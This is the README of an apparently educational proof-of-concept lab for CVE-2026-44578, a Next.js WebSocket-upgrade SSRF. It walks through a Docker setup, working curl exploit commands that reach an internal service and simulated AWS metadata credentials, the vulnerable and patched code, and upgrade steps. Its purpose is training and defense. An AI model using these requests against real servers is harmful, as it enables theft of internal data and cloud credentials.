
Proof-of-concept-Exploit für CVE-2026-44578, der den verwundbaren Zustand reproduziert und es Sicherheitsforschern ermöglicht, betroffene Systeme zu validieren und Gegenmaßnahmen zu bewerten.
Security Academy CERT-Projekt Schwachstellen-Reproduktionsumgebung für Mentor-Demos
| Punkt | Inhalt |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (Hoch) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Betroffene Versionen | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Gepatchte Versionen | 15.5.16+, 16.2.5+ |
| Authentifizierung erforderlich | Nein (Unauthenticated) |
Eine Schwachstelle, bei der der WebSocket-Upgrade-Handler (upgradeHandler) von Next.js eine in die HTTP-Anfragezeile eingefügte
absolute-form URI (RFC 7230 §5.3.2) ohne Validierung an interne Dienste weiterleitet (proxyt).
Dadurch können beliebige HTTP-Anfragen an von außen nicht erreichbare interne Dienste gesendet werden (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, anfällige Version) └── internal-svc (FastAPI + SQLite, nur für internes Netz)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
Nach Abschluss des Builds dauert es 30–60 Sekunden, bis Next.js bereit ist.
Bereitschaft prüfen:
curl -s http://localhost:3000/api/hello | grep ok
Ein normaler HTTP-Request enthält nur den Pfad in der Form GET /path HTTP/1.1,
RFC 7230 §5.3.2 erlaubt jedoch die absolute-form, bei der eine vollständige URL in die Request-Zeile gesetzt wird.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Der Next.js upgradeHandler parst diese URL und ruft, wenn parsedUrl.protocol vorhanden ist,
ohne Validierung des Ziels proxyRequest() auf.
Mit der Option curl --request-target kann die Request-Zeile direkt angegeben werden.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ Gibt alle Namen, E-Mail-Adressen, Gehälter und bcrypt-Hashes zurück
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
Sobald parsedUrl.protocol vorhanden ist, wird direkt weitergeleitet. Der Zielhost wird bedingungslos durchgereicht, egal ob es sich um eine interne IP oder IMDS (169.254.169.254) handelt.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished ist nur dann true, wenn die Anfrage innerhalb von resolveRoutes auf eine reguläre Route passt.
Absolute-form-URIs werden nicht auf reguläre Routen abgebildet, daher gilt finished === false → Proxy-Blockierung.
patch-for-lab.js)In der Umgebung zur Reproduktion der Schwachstelle interpretiert resolve-routes.js :// fälschlicherweise als aufeinanderfolgende Schrägstriche
und kürzt http://host/path zu http:/host/path, wodurch SSRF unbeabsichtigt blockiert wird.
patch-for-lab.js deaktiviert dieses Verhalten, damit die Schwachstelle ordnungsgemäß reproduziert werden kann.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
Mit dem im Lab enthaltenen patch-defense.js die offizielle Patch-Logik direkt auf die aktuelle Version anwenden:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
Nach Anwendung des Patches werden SSRF-Anfragen ohne Antwort blockiert.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes-Patch (zur SSRF-Reproduktion) │ ├── patch-defense.js # router-server-Abwehr-Patch (zum Nachweis der Abwehr durch Codeänderung) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # interner FastAPI-Dienst (SQLite + IMDS-Simulation) │ └── requirements.txt └── exploit/ └── demo.sh # automatisches 6-stufiges Demo-Skript
Dieses Repository wird ausschließlich zu Zwecken der Sicherheitsschulung und Schwachstellenforschung bereitgestellt.
Die Verwendung für unbefugte Angriffe auf tatsächliche Dienste ist illegal,
und alle Tests dürfen nur in Umgebungen durchgeführt werden, die sich in eigenem Besitz befinden oder für die eine ausdrückliche Genehmigung erteilt wurde.